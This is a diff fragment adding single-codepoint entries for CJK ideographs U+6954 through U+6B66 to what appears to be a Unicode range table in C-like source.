+ [0x6954, 0x6954], /* CJK Ideograph */
+ [0x6955, 0x6955], /* CJK Ideograph */
+ [0x6956, 0x6956], /* CJK Ideograph */
+ [0x6957, 0x6957], /* CJK Ideograph */
+ [0x6958, 0x6958], /* CJK Ideograph */
+ [0x6959, 0x6959], /* CJK Ideograph */
+ [0x695a, 0x695a], /* CJK Ideograph */
+ [0x695b, 0x695b], /* CJK Ideograph */
+ [0x695c, 0x695c], /* CJK Ideograph */
+ [0x695d, 0x695d], /* CJK Ideograph */
+ [0x695e, 0x695e], /* CJK Ideograph */
+ [0x695f, 0x695f], /* CJK Ideograph */
+ [0x6960, 0x6960], /* CJK Ideograph */
+ [0x6961, 0x6961], /* CJK Ideograph */
+ [0x6962, 0x6962], /* CJK Ideograph */
+ [0x6963, 0x6963], /* CJK Ideograph */
+ [0x6964, 0x6964], /* CJK Ideograph */
+ [0x6965, 0x6965], /* CJK Ideograph */
+ [0x6966, 0x6966], /* CJK Ideograph */
+ [0x6967, 0x6967], /* CJK Ideograph */
+ [0x6968, 0x6968], /* CJK Ideograph */
+ [0x6969, 0x6969], /* CJK Ideograph */
+ [0x696a, 0x696a], /* CJK Ideograph */
+ [0x696b, 0x696b], /* CJK Ideograph */
+ [0x696c, 0x696c], /* CJK Ideograph */
+ [0x696d, 0x696d], /* CJK Ideograph */
+ [0x696e, 0x696e], /* CJK Ideograph */
+ [0x696f, 0x696f], /* CJK Ideograph */
+ [0x6970, 0x6970], /* CJK Ideograph */
+ [0x6971, 0x6971], /* CJK Ideograph */
+ [0x6972, 0x6972], /* CJK Ideograph */
+ [0x6973, 0x6973], /* CJK Ideograph */
+ [0x6974, 0x6974], /* CJK Ideograph */
+ [0x6975, 0x6975], /* CJK Ideograph */
+ [0x6976, 0x6976], /* CJK Ideograph */
+ [0x6977, 0x6977], /* CJK Ideograph */
+ [0x6978, 0x6978], /* CJK Ideograph */
+ [0x6979, 0x6979], /* CJK Ideograph */
+ [0x697a, 0x697a], /* CJK Ideograph */
+ [0x697b, 0x697b], /* CJK Ideograph */
+ [0x697c, 0x697c], /* CJK Ideograph */
+ [0x697d, 0x697d], /* CJK Ideograph */
+ [0x697e, 0x697e], /* CJK Ideograph */
+ [0x697f, 0x697f], /* CJK Ideograph */
+ [0x6980, 0x6980], /* CJK Ideograph */
+ [0x6981, 0x6981], /* CJK Ideograph */
+ [0x6982, 0x6982], /* CJK Ideograph */
+ [0x6983, 0x6983], /* CJK Ideograph */
+ [0x6984, 0x6984], /* CJK Ideograph */
+ [0x6985, 0x6985], /* CJK Ideograph */
+ [0x6986, 0x6986], /* CJK Ideograph */
+ [0x6987, 0x6987], /* CJK Ideograph */
+ [0x6988, 0x6988], /* CJK Ideograph */
+ [0x6989, 0x6989], /* CJK Ideograph */
+ [0x698a, 0x698a], /* CJK Ideograph */
+ [0x698b, 0x698b], /* CJK Ideograph */
+ [0x698c, 0x698c], /* CJK Ideograph */
+ [0x698d, 0x698d], /* CJK Ideograph */
+ [0x698e, 0x698e], /* CJK Ideograph */
+ [0x698f, 0x698f], /* CJK Ideograph */
+ [0x6990, 0x6990], /* CJK Ideograph */
+ [0x6991, 0x6991], /* CJK Ideograph */
+ [0x6992, 0x6992], /* CJK Ideograph */
+ [0x6993, 0x6993], /* CJK Ideograph */
+ [0x6994, 0x6994], /* CJK Ideograph */
+ [0x6995, 0x6995], /* CJK Ideograph */
+ [0x6996, 0x6996], /* CJK Ideograph */
+ [0x6997, 0x6997], /* CJK Ideograph */
+ [0x6998, 0x6998], /* CJK Ideograph */
+ [0x6999, 0x6999], /* CJK Ideograph */
+ [0x699a, 0x699a], /* CJK Ideograph */
+ [0x699b, 0x699b], /* CJK Ideograph */
+ [0x699c, 0x699c], /* CJK Ideograph */
+ [0x699d, 0x699d], /* CJK Ideograph */
+ [0x699e, 0x699e], /* CJK Ideograph */
+ [0x699f, 0x699f], /* CJK Ideograph */
+ [0x69a0, 0x69a0], /* CJK Ideograph */
+ [0x69a1, 0x69a1], /* CJK Ideograph */
+ [0x69a2, 0x69a2], /* CJK Ideograph */
+ [0x69a3, 0x69a3], /* CJK Ideograph */
+ [0x69a4, 0x69a4], /* CJK Ideograph */
+ [0x69a5, 0x69a5], /* CJK Ideograph */
+ [0x69a6, 0x69a6], /* CJK Ideograph */
+ [0x69a7, 0x69a7], /* CJK Ideograph */
+ [0x69a8, 0x69a8], /* CJK Ideograph */
+ [0x69a9, 0x69a9], /* CJK Ideograph */
+ [0x69aa, 0x69aa], /* CJK Ideograph */
+ [0x69ab, 0x69ab], /* CJK Ideograph */
+ [0x69ac, 0x69ac], /* CJK Ideograph */
+ [0x69ad, 0x69ad], /* CJK Ideograph */
+ [0x69ae, 0x69ae], /* CJK Ideograph */
+ [0x69af, 0x69af], /* CJK Ideograph */
+ [0x69b0, 0x69b0], /* CJK Ideograph */
+ [0x69b1, 0x69b1], /* CJK Ideograph */
+ [0x69b2, 0x69b2], /* CJK Ideograph */
+ [0x69b3, 0x69b3], /* CJK Ideograph */
+ [0x69b4, 0x69b4], /* CJK Ideograph */
+ [0x69b5, 0x69b5], /* CJK Ideograph */
+ [0x69b6, 0x69b6], /* CJK Ideograph */
+ [0x69b7, 0x69b7], /* CJK Ideograph */
+ [0x69b8, 0x69b8], /* CJK Ideograph */
+ [0x69b9, 0x69b9], /* CJK Ideograph */
+ [0x69ba, 0x69ba], /* CJK Ideograph */
+ [0x69bb, 0x69bb], /* CJK Ideograph */
+ [0x69bc, 0x69bc], /* CJK Ideograph */
+ [0x69bd, 0x69bd], /* CJK Ideograph */
+ [0x69be, 0x69be], /* CJK Ideograph */
+ [0x69bf, 0x69bf], /* CJK Ideograph */
+ [0x69c0, 0x69c0], /* CJK Ideograph */
+ [0x69c1, 0x69c1], /* CJK Ideograph */
+ [0x69c2, 0x69c2], /* CJK Ideograph */
+ [0x69c3, 0x69c3], /* CJK Ideograph */
+ [0x69c4, 0x69c4], /* CJK Ideograph */
+ [0x69c5, 0x69c5], /* CJK Ideograph */
+ [0x69c6, 0x69c6], /* CJK Ideograph */
+ [0x69c7, 0x69c7], /* CJK Ideograph */
+ [0x69c8, 0x69c8], /* CJK Ideograph */
+ [0x69c9, 0x69c9], /* CJK Ideograph */
+ [0x69ca, 0x69ca], /* CJK Ideograph */
+ [0x69cb, 0x69cb], /* CJK Ideograph */
+ [0x69cc, 0x69cc], /* CJK Ideograph */
+ [0x69cd, 0x69cd], /* CJK Ideograph */
+ [0x69ce, 0x69ce], /* CJK Ideograph */
+ [0x69cf, 0x69cf], /* CJK Ideograph */
+ [0x69d0, 0x69d0], /* CJK Ideograph */
+ [0x69d1, 0x69d1], /* CJK Ideograph */
+ [0x69d2, 0x69d2], /* CJK Ideograph */
+ [0x69d3, 0x69d3], /* CJK Ideograph */
+ [0x69d4, 0x69d4], /* CJK Ideograph */
+ [0x69d5, 0x69d5], /* CJK Ideograph */
+ [0x69d6, 0x69d6], /* CJK Ideograph */
+ [0x69d7, 0x69d7], /* CJK Ideograph */
+ [0x69d8, 0x69d8], /* CJK Ideograph */
+ [0x69d9, 0x69d9], /* CJK Ideograph */
+ [0x69da, 0x69da], /* CJK Ideograph */
+ [0x69db, 0x69db], /* CJK Ideograph */
+ [0x69dc, 0x69dc], /* CJK Ideograph */
+ [0x69dd, 0x69dd], /* CJK Ideograph */
+ [0x69de, 0x69de], /* CJK Ideograph */
+ [0x69df, 0x69df], /* CJK Ideograph */
+ [0x69e0, 0x69e0], /* CJK Ideograph */
+ [0x69e1, 0x69e1], /* CJK Ideograph */
+ [0x69e2, 0x69e2], /* CJK Ideograph */
+ [0x69e3, 0x69e3], /* CJK Ideograph */
+ [0x69e4, 0x69e4], /* CJK Ideograph */
+ [0x69e5, 0x69e5], /* CJK Ideograph */
+ [0x69e6, 0x69e6], /* CJK Ideograph */
+ [0x69e7, 0x69e7], /* CJK Ideograph */
+ [0x69e8, 0x69e8], /* CJK Ideograph */
+ [0x69e9, 0x69e9], /* CJK Ideograph */
+ [0x69ea, 0x69ea], /* CJK Ideograph */
+ [0x69eb, 0x69eb], /* CJK Ideograph */
+ [0x69ec, 0x69ec], /* CJK Ideograph */
+ [0x69ed, 0x69ed], /* CJK Ideograph */
+ [0x69ee, 0x69ee], /* CJK Ideograph */
+ [0x69ef, 0x69ef], /* CJK Ideograph */
+ [0x69f0, 0x69f0], /* CJK Ideograph */
+ [0x69f1, 0x69f1], /* CJK Ideograph */
+ [0x69f2, 0x69f2], /* CJK Ideograph */
+ [0x69f3, 0x69f3], /* CJK Ideograph */
+ [0x69f4, 0x69f4], /* CJK Ideograph */
+ [0x69f5, 0x69f5], /* CJK Ideograph */
+ [0x69f6, 0x69f6], /* CJK Ideograph */
+ [0x69f7, 0x69f7], /* CJK Ideograph */
+ [0x69f8, 0x69f8], /* CJK Ideograph */
+ [0x69f9, 0x69f9], /* CJK Ideograph */
+ [0x69fa, 0x69fa], /* CJK Ideograph */
+ [0x69fb, 0x69fb], /* CJK Ideograph */
+ [0x69fc, 0x69fc], /* CJK Ideograph */
+ [0x69fd, 0x69fd], /* CJK Ideograph */
+ [0x69fe, 0x69fe], /* CJK Ideograph */
+ [0x69ff, 0x69ff], /* CJK Ideograph */
+ [0x6a00, 0x6a00], /* CJK Ideograph */
+ [0x6a01, 0x6a01], /* CJK Ideograph */
+ [0x6a02, 0x6a02], /* CJK Ideograph */
+ [0x6a03, 0x6a03], /* CJK Ideograph */
+ [0x6a04, 0x6a04], /* CJK Ideograph */
+ [0x6a05, 0x6a05], /* CJK Ideograph */
+ [0x6a06, 0x6a06], /* CJK Ideograph */
+ [0x6a07, 0x6a07], /* CJK Ideograph */
+ [0x6a08, 0x6a08], /* CJK Ideograph */
+ [0x6a09, 0x6a09], /* CJK Ideograph */
+ [0x6a0a, 0x6a0a], /* CJK Ideograph */
+ [0x6a0b, 0x6a0b], /* CJK Ideograph */
+ [0x6a0c, 0x6a0c], /* CJK Ideograph */
+ [0x6a0d, 0x6a0d], /* CJK Ideograph */
+ [0x6a0e, 0x6a0e], /* CJK Ideograph */
+ [0x6a0f, 0x6a0f], /* CJK Ideograph */
+ [0x6a10, 0x6a10], /* CJK Ideograph */
+ [0x6a11, 0x6a11], /* CJK Ideograph */
+ [0x6a12, 0x6a12], /* CJK Ideograph */
+ [0x6a13, 0x6a13], /* CJK Ideograph */
+ [0x6a14, 0x6a14], /* CJK Ideograph */
+ [0x6a15, 0x6a15], /* CJK Ideograph */
+ [0x6a16, 0x6a16], /* CJK Ideograph */
+ [0x6a17, 0x6a17], /* CJK Ideograph */
+ [0x6a18, 0x6a18], /* CJK Ideograph */
+ [0x6a19, 0x6a19], /* CJK Ideograph */
+ [0x6a1a, 0x6a1a], /* CJK Ideograph */
+ [0x6a1b, 0x6a1b], /* CJK Ideograph */
+ [0x6a1c, 0x6a1c], /* CJK Ideograph */
+ [0x6a1d, 0x6a1d], /* CJK Ideograph */
+ [0x6a1e, 0x6a1e], /* CJK Ideograph */
+ [0x6a1f, 0x6a1f], /* CJK Ideograph */
+ [0x6a20, 0x6a20], /* CJK Ideograph */
+ [0x6a21, 0x6a21], /* CJK Ideograph */
+ [0x6a22, 0x6a22], /* CJK Ideograph */
+ [0x6a23, 0x6a23], /* CJK Ideograph */
+ [0x6a24, 0x6a24], /* CJK Ideograph */
+ [0x6a25, 0x6a25], /* CJK Ideograph */
+ [0x6a26, 0x6a26], /* CJK Ideograph */
+ [0x6a27, 0x6a27], /* CJK Ideograph */
+ [0x6a28, 0x6a28], /* CJK Ideograph */
+ [0x6a29, 0x6a29], /* CJK Ideograph */
+ [0x6a2a, 0x6a2a], /* CJK Ideograph */
+ [0x6a2b, 0x6a2b], /* CJK Ideograph */
+ [0x6a2c, 0x6a2c], /* CJK Ideograph */
+ [0x6a2d, 0x6a2d], /* CJK Ideograph */
+ [0x6a2e, 0x6a2e], /* CJK Ideograph */
+ [0x6a2f, 0x6a2f], /* CJK Ideograph */
+ [0x6a30, 0x6a30], /* CJK Ideograph */
+ [0x6a31, 0x6a31], /* CJK Ideograph */
+ [0x6a32, 0x6a32], /* CJK Ideograph */
+ [0x6a33, 0x6a33], /* CJK Ideograph */
+ [0x6a34, 0x6a34], /* CJK Ideograph */
+ [0x6a35, 0x6a35], /* CJK Ideograph */
+ [0x6a36, 0x6a36], /* CJK Ideograph */
+ [0x6a37, 0x6a37], /* CJK Ideograph */
+ [0x6a38, 0x6a38], /* CJK Ideograph */
+ [0x6a39, 0x6a39], /* CJK Ideograph */
+ [0x6a3a, 0x6a3a], /* CJK Ideograph */
+ [0x6a3b, 0x6a3b], /* CJK Ideograph */
+ [0x6a3c, 0x6a3c], /* CJK Ideograph */
+ [0x6a3d, 0x6a3d], /* CJK Ideograph */
+ [0x6a3e, 0x6a3e], /* CJK Ideograph */
+ [0x6a3f, 0x6a3f], /* CJK Ideograph */
+ [0x6a40, 0x6a40], /* CJK Ideograph */
+ [0x6a41, 0x6a41], /* CJK Ideograph */
+ [0x6a42, 0x6a42], /* CJK Ideograph */
+ [0x6a43, 0x6a43], /* CJK Ideograph */
+ [0x6a44, 0x6a44], /* CJK Ideograph */
+ [0x6a45, 0x6a45], /* CJK Ideograph */
+ [0x6a46, 0x6a46], /* CJK Ideograph */
+ [0x6a47, 0x6a47], /* CJK Ideograph */
+ [0x6a48, 0x6a48], /* CJK Ideograph */
+ [0x6a49, 0x6a49], /* CJK Ideograph */
+ [0x6a4a, 0x6a4a], /* CJK Ideograph */
+ [0x6a4b, 0x6a4b], /* CJK Ideograph */
+ [0x6a4c, 0x6a4c], /* CJK Ideograph */
+ [0x6a4d, 0x6a4d], /* CJK Ideograph */
+ [0x6a4e, 0x6a4e], /* CJK Ideograph */
+ [0x6a4f, 0x6a4f], /* CJK Ideograph */
+ [0x6a50, 0x6a50], /* CJK Ideograph */
+ [0x6a51, 0x6a51], /* CJK Ideograph */
+ [0x6a52, 0x6a52], /* CJK Ideograph */
+ [0x6a53, 0x6a53], /* CJK Ideograph */
+ [0x6a54, 0x6a54], /* CJK Ideograph */
+ [0x6a55, 0x6a55], /* CJK Ideograph */
+ [0x6a56, 0x6a56], /* CJK Ideograph */
+ [0x6a57, 0x6a57], /* CJK Ideograph */
+ [0x6a58, 0x6a58], /* CJK Ideograph */
+ [0x6a59, 0x6a59], /* CJK Ideograph */
+ [0x6a5a, 0x6a5a], /* CJK Ideograph */
+ [0x6a5b, 0x6a5b], /* CJK Ideograph */
+ [0x6a5c, 0x6a5c], /* CJK Ideograph */
+ [0x6a5d, 0x6a5d], /* CJK Ideograph */
+ [0x6a5e, 0x6a5e], /* CJK Ideograph */
+ [0x6a5f, 0x6a5f], /* CJK Ideograph */
+ [0x6a60, 0x6a60], /* CJK Ideograph */
+ [0x6a61, 0x6a61], /* CJK Ideograph */
+ [0x6a62, 0x6a62], /* CJK Ideograph */
+ [0x6a63, 0x6a63], /* CJK Ideograph */
+ [0x6a64, 0x6a64], /* CJK Ideograph */
+ [0x6a65, 0x6a65], /* CJK Ideograph */
+ [0x6a66, 0x6a66], /* CJK Ideograph */
+ [0x6a67, 0x6a67], /* CJK Ideograph */
+ [0x6a68, 0x6a68], /* CJK Ideograph */
+ [0x6a69, 0x6a69], /* CJK Ideograph */
+ [0x6a6a, 0x6a6a], /* CJK Ideograph */
+ [0x6a6b, 0x6a6b], /* CJK Ideograph */
+ [0x6a6c, 0x6a6c], /* CJK Ideograph */
+ [0x6a6d, 0x6a6d], /* CJK Ideograph */
+ [0x6a6e, 0x6a6e], /* CJK Ideograph */
+ [0x6a6f, 0x6a6f], /* CJK Ideograph */
+ [0x6a70, 0x6a70], /* CJK Ideograph */
+ [0x6a71, 0x6a71], /* CJK Ideograph */
+ [0x6a72, 0x6a72], /* CJK Ideograph */
+ [0x6a73, 0x6a73], /* CJK Ideograph */
+ [0x6a74, 0x6a74], /* CJK Ideograph */
+ [0x6a75, 0x6a75], /* CJK Ideograph */
+ [0x6a76, 0x6a76], /* CJK Ideograph */
+ [0x6a77, 0x6a77], /* CJK Ideograph */
+ [0x6a78, 0x6a78], /* CJK Ideograph */
+ [0x6a79, 0x6a79], /* CJK Ideograph */
+ [0x6a7a, 0x6a7a], /* CJK Ideograph */
+ [0x6a7b, 0x6a7b], /* CJK Ideograph */
+ [0x6a7c, 0x6a7c], /* CJK Ideograph */
+ [0x6a7d, 0x6a7d], /* CJK Ideograph */
+ [0x6a7e, 0x6a7e], /* CJK Ideograph */
+ [0x6a7f, 0x6a7f], /* CJK Ideograph */
+ [0x6a80, 0x6a80], /* CJK Ideograph */
+ [0x6a81, 0x6a81], /* CJK Ideograph */
+ [0x6a82, 0x6a82], /* CJK Ideograph */
+ [0x6a83, 0x6a83], /* CJK Ideograph */
+ [0x6a84, 0x6a84], /* CJK Ideograph */
+ [0x6a85, 0x6a85], /* CJK Ideograph */
+ [0x6a86, 0x6a86], /* CJK Ideograph */
+ [0x6a87, 0x6a87], /* CJK Ideograph */
+ [0x6a88, 0x6a88], /* CJK Ideograph */
+ [0x6a89, 0x6a89], /* CJK Ideograph */
+ [0x6a8a, 0x6a8a], /* CJK Ideograph */
+ [0x6a8b, 0x6a8b], /* CJK Ideograph */
+ [0x6a8c, 0x6a8c], /* CJK Ideograph */
+ [0x6a8d, 0x6a8d], /* CJK Ideograph */
+ [0x6a8e, 0x6a8e], /* CJK Ideograph */
+ [0x6a8f, 0x6a8f], /* CJK Ideograph */
+ [0x6a90, 0x6a90], /* CJK Ideograph */
+ [0x6a91, 0x6a91], /* CJK Ideograph */
+ [0x6a92, 0x6a92], /* CJK Ideograph */
+ [0x6a93, 0x6a93], /* CJK Ideograph */
+ [0x6a94, 0x6a94], /* CJK Ideograph */
+ [0x6a95, 0x6a95], /* CJK Ideograph */
+ [0x6a96, 0x6a96], /* CJK Ideograph */
+ [0x6a97, 0x6a97], /* CJK Ideograph */
+ [0x6a98, 0x6a98], /* CJK Ideograph */
+ [0x6a99, 0x6a99], /* CJK Ideograph */
+ [0x6a9a, 0x6a9a], /* CJK Ideograph */
+ [0x6a9b, 0x6a9b], /* CJK Ideograph */
+ [0x6a9c, 0x6a9c], /* CJK Ideograph */
+ [0x6a9d, 0x6a9d], /* CJK Ideograph */
+ [0x6a9e, 0x6a9e], /* CJK Ideograph */
+ [0x6a9f, 0x6a9f], /* CJK Ideograph */
+ [0x6aa0, 0x6aa0], /* CJK Ideograph */
+ [0x6aa1, 0x6aa1], /* CJK Ideograph */
+ [0x6aa2, 0x6aa2], /* CJK Ideograph */
+ [0x6aa3, 0x6aa3], /* CJK Ideograph */
+ [0x6aa4, 0x6aa4], /* CJK Ideograph */
+ [0x6aa5, 0x6aa5], /* CJK Ideograph */
+ [0x6aa6, 0x6aa6], /* CJK Ideograph */
+ [0x6aa7, 0x6aa7], /* CJK Ideograph */
+ [0x6aa8, 0x6aa8], /* CJK Ideograph */
+ [0x6aa9, 0x6aa9], /* CJK Ideograph */
+ [0x6aaa, 0x6aaa], /* CJK Ideograph */
+ [0x6aab, 0x6aab], /* CJK Ideograph */
+ [0x6aac, 0x6aac], /* CJK Ideograph */
+ [0x6aad, 0x6aad], /* CJK Ideograph */
+ [0x6aae, 0x6aae], /* CJK Ideograph */
+ [0x6aaf, 0x6aaf], /* CJK Ideograph */
+ [0x6ab0, 0x6ab0], /* CJK Ideograph */
+ [0x6ab1, 0x6ab1], /* CJK Ideograph */
+ [0x6ab2, 0x6ab2], /* CJK Ideograph */
+ [0x6ab3, 0x6ab3], /* CJK Ideograph */
+ [0x6ab4, 0x6ab4], /* CJK Ideograph */
+ [0x6ab5, 0x6ab5], /* CJK Ideograph */
+ [0x6ab6, 0x6ab6], /* CJK Ideograph */
+ [0x6ab7, 0x6ab7], /* CJK Ideograph */
+ [0x6ab8, 0x6ab8], /* CJK Ideograph */
+ [0x6ab9, 0x6ab9], /* CJK Ideograph */
+ [0x6aba, 0x6aba], /* CJK Ideograph */
+ [0x6abb, 0x6abb], /* CJK Ideograph */
+ [0x6abc, 0x6abc], /* CJK Ideograph */
+ [0x6abd, 0x6abd], /* CJK Ideograph */
+ [0x6abe, 0x6abe], /* CJK Ideograph */
+ [0x6abf, 0x6abf], /* CJK Ideograph */
+ [0x6ac0, 0x6ac0], /* CJK Ideograph */
+ [0x6ac1, 0x6ac1], /* CJK Ideograph */
+ [0x6ac2, 0x6ac2], /* CJK Ideograph */
+ [0x6ac3, 0x6ac3], /* CJK Ideograph */
+ [0x6ac4, 0x6ac4], /* CJK Ideograph */
+ [0x6ac5, 0x6ac5], /* CJK Ideograph */
+ [0x6ac6, 0x6ac6], /* CJK Ideograph */
+ [0x6ac7, 0x6ac7], /* CJK Ideograph */
+ [0x6ac8, 0x6ac8], /* CJK Ideograph */
+ [0x6ac9, 0x6ac9], /* CJK Ideograph */
+ [0x6aca, 0x6aca], /* CJK Ideograph */
+ [0x6acb, 0x6acb], /* CJK Ideograph */
+ [0x6acc, 0x6acc], /* CJK Ideograph */
+ [0x6acd, 0x6acd], /* CJK Ideograph */
+ [0x6ace, 0x6ace], /* CJK Ideograph */
+ [0x6acf, 0x6acf], /* CJK Ideograph */
+ [0x6ad0, 0x6ad0], /* CJK Ideograph */
+ [0x6ad1, 0x6ad1], /* CJK Ideograph */
+ [0x6ad2, 0x6ad2], /* CJK Ideograph */
+ [0x6ad3, 0x6ad3], /* CJK Ideograph */
+ [0x6ad4, 0x6ad4], /* CJK Ideograph */
+ [0x6ad5, 0x6ad5], /* CJK Ideograph */
+ [0x6ad6, 0x6ad6], /* CJK Ideograph */
+ [0x6ad7, 0x6ad7], /* CJK Ideograph */
+ [0x6ad8, 0x6ad8], /* CJK Ideograph */
+ [0x6ad9, 0x6ad9], /* CJK Ideograph */
+ [0x6ada, 0x6ada], /* CJK Ideograph */
+ [0x6adb, 0x6adb], /* CJK Ideograph */
+ [0x6adc, 0x6adc], /* CJK Ideograph */
+ [0x6add, 0x6add], /* CJK Ideograph */
+ [0x6ade, 0x6ade], /* CJK Ideograph */
+ [0x6adf, 0x6adf], /* CJK Ideograph */
+ [0x6ae0, 0x6ae0], /* CJK Ideograph */
+ [0x6ae1, 0x6ae1], /* CJK Ideograph */
+ [0x6ae2, 0x6ae2], /* CJK Ideograph */
+ [0x6ae3, 0x6ae3], /* CJK Ideograph */
+ [0x6ae4, 0x6ae4], /* CJK Ideograph */
+ [0x6ae5, 0x6ae5], /* CJK Ideograph */
+ [0x6ae6, 0x6ae6], /* CJK Ideograph */
+ [0x6ae7, 0x6ae7], /* CJK Ideograph */
+ [0x6ae8, 0x6ae8], /* CJK Ideograph */
+ [0x6ae9, 0x6ae9], /* CJK Ideograph */
+ [0x6aea, 0x6aea], /* CJK Ideograph */
+ [0x6aeb, 0x6aeb], /* CJK Ideograph */
+ [0x6aec, 0x6aec], /* CJK Ideograph */
+ [0x6aed, 0x6aed], /* CJK Ideograph */
+ [0x6aee, 0x6aee], /* CJK Ideograph */
+ [0x6aef, 0x6aef], /* CJK Ideograph */
+ [0x6af0, 0x6af0], /* CJK Ideograph */
+ [0x6af1, 0x6af1], /* CJK Ideograph */
+ [0x6af2, 0x6af2], /* CJK Ideograph */
+ [0x6af3, 0x6af3], /* CJK Ideograph */
+ [0x6af4, 0x6af4], /* CJK Ideograph */
+ [0x6af5, 0x6af5], /* CJK Ideograph */
+ [0x6af6, 0x6af6], /* CJK Ideograph */
+ [0x6af7, 0x6af7], /* CJK Ideograph */
+ [0x6af8, 0x6af8], /* CJK Ideograph */
+ [0x6af9, 0x6af9], /* CJK Ideograph */
+ [0x6afa, 0x6afa], /* CJK Ideograph */
+ [0x6afb, 0x6afb], /* CJK Ideograph */
+ [0x6afc, 0x6afc], /* CJK Ideograph */
+ [0x6afd, 0x6afd], /* CJK Ideograph */
+ [0x6afe, 0x6afe], /* CJK Ideograph */
+ [0x6aff, 0x6aff], /* CJK Ideograph */
+ [0x6b00, 0x6b00], /* CJK Ideograph */
+ [0x6b01, 0x6b01], /* CJK Ideograph */
+ [0x6b02, 0x6b02], /* CJK Ideograph */
+ [0x6b03, 0x6b03], /* CJK Ideograph */
+ [0x6b04, 0x6b04], /* CJK Ideograph */
+ [0x6b05, 0x6b05], /* CJK Ideograph */
+ [0x6b06, 0x6b06], /* CJK Ideograph */
+ [0x6b07, 0x6b07], /* CJK Ideograph */
+ [0x6b08, 0x6b08], /* CJK Ideograph */
+ [0x6b09, 0x6b09], /* CJK Ideograph */
+ [0x6b0a, 0x6b0a], /* CJK Ideograph */
+ [0x6b0b, 0x6b0b], /* CJK Ideograph */
+ [0x6b0c, 0x6b0c], /* CJK Ideograph */
+ [0x6b0d, 0x6b0d], /* CJK Ideograph */
+ [0x6b0e, 0x6b0e], /* CJK Ideograph */
+ [0x6b0f, 0x6b0f], /* CJK Ideograph */
+ [0x6b10, 0x6b10], /* CJK Ideograph */
+ [0x6b11, 0x6b11], /* CJK Ideograph */
+ [0x6b12, 0x6b12], /* CJK Ideograph */
+ [0x6b13, 0x6b13], /* CJK Ideograph */
+ [0x6b14, 0x6b14], /* CJK Ideograph */
+ [0x6b15, 0x6b15], /* CJK Ideograph */
+ [0x6b16, 0x6b16], /* CJK Ideograph */
+ [0x6b17, 0x6b17], /* CJK Ideograph */
+ [0x6b18, 0x6b18], /* CJK Ideograph */
+ [0x6b19, 0x6b19], /* CJK Ideograph */
+ [0x6b1a, 0x6b1a], /* CJK Ideograph */
+ [0x6b1b, 0x6b1b], /* CJK Ideograph */
+ [0x6b1c, 0x6b1c], /* CJK Ideograph */
+ [0x6b1d, 0x6b1d], /* CJK Ideograph */
+ [0x6b1e, 0x6b1e], /* CJK Ideograph */
+ [0x6b1f, 0x6b1f], /* CJK Ideograph */
+ [0x6b20, 0x6b20], /* CJK Ideograph */
+ [0x6b21, 0x6b21], /* CJK Ideograph */
+ [0x6b22, 0x6b22], /* CJK Ideograph */
+ [0x6b23, 0x6b23], /* CJK Ideograph */
+ [0x6b24, 0x6b24], /* CJK Ideograph */
+ [0x6b25, 0x6b25], /* CJK Ideograph */
+ [0x6b26, 0x6b26], /* CJK Ideograph */
+ [0x6b27, 0x6b27], /* CJK Ideograph */
+ [0x6b28, 0x6b28], /* CJK Ideograph */
+ [0x6b29, 0x6b29], /* CJK Ideograph */
+ [0x6b2a, 0x6b2a], /* CJK Ideograph */
+ [0x6b2b, 0x6b2b], /* CJK Ideograph */
+ [0x6b2c, 0x6b2c], /* CJK Ideograph */
+ [0x6b2d, 0x6b2d], /* CJK Ideograph */
+ [0x6b2e, 0x6b2e], /* CJK Ideograph */
+ [0x6b2f, 0x6b2f], /* CJK Ideograph */
+ [0x6b30, 0x6b30], /* CJK Ideograph */
+ [0x6b31, 0x6b31], /* CJK Ideograph */
+ [0x6b32, 0x6b32], /* CJK Ideograph */
+ [0x6b33, 0x6b33], /* CJK Ideograph */
+ [0x6b34, 0x6b34], /* CJK Ideograph */
+ [0x6b35, 0x6b35], /* CJK Ideograph */
+ [0x6b36, 0x6b36], /* CJK Ideograph */
+ [0x6b37, 0x6b37], /* CJK Ideograph */
+ [0x6b38, 0x6b38], /* CJK Ideograph */
+ [0x6b39, 0x6b39], /* CJK Ideograph */
+ [0x6b3a, 0x6b3a], /* CJK Ideograph */
+ [0x6b3b, 0x6b3b], /* CJK Ideograph */
+ [0x6b3c, 0x6b3c], /* CJK Ideograph */
+ [0x6b3d, 0x6b3d], /* CJK Ideograph */
+ [0x6b3e, 0x6b3e], /* CJK Ideograph */
+ [0x6b3f, 0x6b3f], /* CJK Ideograph */
+ [0x6b40, 0x6b40], /* CJK Ideograph */
+ [0x6b41, 0x6b41], /* CJK Ideograph */
+ [0x6b42, 0x6b42], /* CJK Ideograph */
+ [0x6b43, 0x6b43], /* CJK Ideograph */
+ [0x6b44, 0x6b44], /* CJK Ideograph */
+ [0x6b45, 0x6b45], /* CJK Ideograph */
+ [0x6b46, 0x6b46], /* CJK Ideograph */
+ [0x6b47, 0x6b47], /* CJK Ideograph */
+ [0x6b48, 0x6b48], /* CJK Ideograph */
+ [0x6b49, 0x6b49], /* CJK Ideograph */
+ [0x6b4a, 0x6b4a], /* CJK Ideograph */
+ [0x6b4b, 0x6b4b], /* CJK Ideograph */
+ [0x6b4c, 0x6b4c], /* CJK Ideograph */
+ [0x6b4d, 0x6b4d], /* CJK Ideograph */
+ [0x6b4e, 0x6b4e], /* CJK Ideograph */
+ [0x6b4f, 0x6b4f], /* CJK Ideograph */
+ [0x6b50, 0x6b50], /* CJK Ideograph */
+ [0x6b51, 0x6b51], /* CJK Ideograph */
+ [0x6b52, 0x6b52], /* CJK Ideograph */
+ [0x6b53, 0x6b53], /* CJK Ideograph */
+ [0x6b54, 0x6b54], /* CJK Ideograph */
+ [0x6b55, 0x6b55], /* CJK Ideograph */
+ [0x6b56, 0x6b56], /* CJK Ideograph */
+ [0x6b57, 0x6b57], /* CJK Ideograph */
+ [0x6b58, 0x6b58], /* CJK Ideograph */
+ [0x6b59, 0x6b59], /* CJK Ideograph */
+ [0x6b5a, 0x6b5a], /* CJK Ideograph */
+ [0x6b5b, 0x6b5b], /* CJK Ideograph */
+ [0x6b5c, 0x6b5c], /* CJK Ideograph */
+ [0x6b5d, 0x6b5d], /* CJK Ideograph */
+ [0x6b5e, 0x6b5e], /* CJK Ideograph */
+ [0x6b5f, 0x6b5f], /* CJK Ideograph */
+ [0x6b60, 0x6b60], /* CJK Ideograph */
+ [0x6b61, 0x6b61], /* CJK Ideograph */
+ [0x6b62, 0x6b62], /* CJK Ideograph */
+ [0x6b63, 0x6b63], /* CJK Ideograph */
+ [0x6b64, 0x6b64], /* CJK Ideograph */
+ [0x6b65, 0x6b65], /* CJK Ideograph */
+ [0x6b66, 0x6b66], /* CJK Ideograph */
